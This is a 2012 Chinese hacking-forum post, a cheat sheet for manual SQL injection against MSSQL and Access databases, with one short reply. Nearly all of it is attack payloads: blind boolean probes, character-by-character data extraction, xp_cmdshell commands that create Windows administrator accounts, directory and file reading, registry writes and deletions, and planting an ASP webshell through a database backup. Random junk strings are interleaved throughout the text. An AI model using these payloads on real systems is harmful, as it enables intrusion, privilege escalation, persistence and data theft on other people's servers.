找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2240|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
8 _7 R& c* p9 t1.判断是否有注入;and 1=1 ;and 1=2 1 k2 V" M! C% F1 H
" x2 V, {9 Y! l) N" j( Y9 @3 ]- N
2.初步判断是否是mssql ;and user>0 & i1 J" m4 j+ k+ m+ h& D

( ?0 Y+ T  B# f3.注入参数是字符'and [查询条件] and ''=' 3 o) I" T: h# Q3 f$ o

, o8 H" ~& `1 ~4.搜索时没过滤参数的'and [查询条件] and '%25'='
6 L5 R8 O+ {, B" F7 m
, t% x. A1 R! }% H# L  X- Z* g$ y) E5.判断数据库系统
9 r+ [# H* K. W;and (select count(*) from sysobjects)>0 mssql
6 s/ K2 ~. E8 K) ?) H- M/ F" ?;and (select count(*) from msysobjects)>0 access . P1 \* H! ~$ O) d8 O: P! a" ~
& _0 c  W6 u6 o! z' Z3 @2 [
6.猜数据库 ;and (select Count(*) from [数据库名])>0
8 P" o& l/ E& J: u6 f& L8 i+ ^: u& A/ l% F
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $ c% v- \# O- w4 s

* v* ^: K4 G& p$ o/ l; W/ q, D8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
- o/ X" M5 `# F! h& D6 }* e& L4 x  o2 }2 s+ H- l/ f) \
9.(1)猜字段的ascii值(access) " B) P4 s) y2 a; l/ O
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ) d7 T2 |$ ]6 F3 ?/ _0 a3 M

7 p# x) o0 c% W3 o  o(2)猜字段的ascii值(mssql)
# @0 @* Y( T5 {7 J* r;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
9 L5 u5 t- [* F) S% |2 U/ V/ _6 O; m( X  ~6 r( ^9 f
10.测试权限结构(mssql)
! K& P' F" t. e4 x" A* r) }: w2 f% X' q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: y/ I$ ^% M$ W;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
0 H" d% ]9 a# Q& p* z/ |;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
" e! ^( J* V* ?/ s4 k2 Q9 _;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- + I' V( j% r! q" ^2 z; h
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3 E. i5 @1 v* x
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' k. \+ [5 a8 Y  ^, g;and 1=(select IS_MEMBER('db_owner'));--
$ ~: [) \0 X" A1 j; o, u6 Z  p& k
, {' u1 T$ `- ?3 S1 ?2 I11.添加mssql和系统的帐户 % {. Z9 A8 I4 V- ]
;exec master.dbo.sp_addlogin username;-- 2 Q0 y+ @: j& n' [
5 [+ T9 M; D3 Z
;exec master.dbo.sp_password null,username,password;-- 3 U% c- ^& ~. p
3 Q1 v5 B9 l2 K: M  G2 B$ X: ?5 E
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- : Z( L. b- O3 F( M) N
8 q* G. }" m/ b: c. L# i2 M9 h
;exec master.dbo.xp_cmdshell 'net user username password
8 g, e8 J& f7 G7 Y/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
3 }' b8 ~3 K1 I; j7 M% Q; a
2 v9 W6 y" h9 d5 u6 W% {;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; E; f9 `+ M5 `

$ C6 {# N' f; E, L+ k;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
! {5 m3 O! M1 G' \0 P
- F+ @: ]* ~/ D' {5 Q" U12.(1)遍历目录 5 R1 l2 T& t3 W
# G5 l( M: u9 I. x5 c& G
;create table dirs(paths varchar(100), id int)
2 y% |: l- N- ^) ]' S; S;insert dirs exec master.dbo.xp_dirtree 'c:\'
6 e: D( M1 R7 P% _* e7 X;and (select top 1 paths from dirs)>0 # b  N5 g! D7 V3 U2 S9 ?: C  [
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ( J, `' N1 [" ?. n* z7 \
: L) T# D9 H9 v  p
(2)遍历目录 9 c4 C' ^  E% B/ u3 {( l8 ~
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" C! ^1 g4 ~/ x6 B;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
- s# N8 F% X5 ]# x1 K6 D, S;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 p& W% M9 M. `, v5 T9 ^;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 : v9 E' s+ M3 ^4 y1 f3 f
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 6 ?! m. y6 @2 l/ `: W0 y, x
; x+ y0 [4 d" a4 |8 ?& p  G
13.mssql中的存储过程
/ E& B# [# J) f3 [8 o4 i4 W' y$ }2 k, [: E  e: S% e; W& P( j+ b
xp_regenumvalues 注册表根键, 子键
) x2 c/ t- ~( s2 o- p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ! j" D7 z. x" r0 e0 U
$ i; \# ~. t/ L5 }. R$ |9 w9 N
xp_regread 根键,子键,键值名 ( p' m( c7 ~% W
;exec xp_regread   }6 D1 D4 J1 q/ D  B2 Z
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 S( W- T0 p+ Y  p. h

/ P* B) I; n; v/ R4 o# Zxp_regwrite 根键,子键, 值名, 值类型, 值 * ~* B6 A7 R( E& V
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
8 d+ g% s+ h3 g- u$ i& f;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 2 A  [' K, a4 f1 G, @

" {- v1 o8 d6 m; J: m5 Y, Dxp_regdeletevalue 根键,子键,值名 ! m9 D7 l* s3 z8 ]6 L6 A" M

2 X" j) E, |- D) @exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
& Y: \8 k1 d7 R% `8 A# q- l7 U' ]) G0 N$ @6 G1 i$ Y3 g
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
! W, q  _! D, z# R! n
- {# s( v! g+ \- ^' u3 d5 _0 @14.mssql的backup创建webshell
' ^) T; X  C6 A6 C+ y7 ?) Muse model 0 T+ x% {7 t7 s, {% J
create table cmd(str image);
! {$ [, x4 e! ^2 q; Sinsert into cmd(str) values ('');
  G4 I" ^7 r& u4 @backup database model to disk='c:\l.asp'; 2 `. `) |9 b& e1 }7 ]% i# i# O

9 o% P9 {3 L5 ~+ `* S$ Q15.mssql内置函数
* ^- n0 t3 X$ x* S;and (select @@version)>0 获得Windows的版本号 / }( R; q+ x9 r7 m( W- X( W
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3 }9 w$ \: P# Z5 B4 Y0 n" G
;and (select user_name())>0 爆当前系统的连接用户 2 c& U4 ?8 [8 u# N
;and (select db_name())>0 得到当前连接的数据库
+ R5 w0 k* s8 u# G* R3 Q! _; u' m3 b% S9 A
16.简洁的webshell ' j+ X8 j0 N. |. b) ?  z

( V5 b6 k, \& u# p3 E: Uuse model
- W* ^# t7 U! T* P
+ H9 G$ X$ G* p, B' X  H. Ocreate table cmd(str image);
2 [& T# @' g2 J; I% d+ ]4 n$ [7 T( x  i1 C3 t. d
insert into cmd(str) values ('');
* `! R2 k4 A* z" Y6 _% K; L4 W+ r5 j: F! |! Y& ~8 q
backup database model to disk='g:\wwwtest\l.asp'; 8 [& Q# r% o4 X" x% ~: i" d2 B

  r& W! @9 M8 m1 o0 Z$ f
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表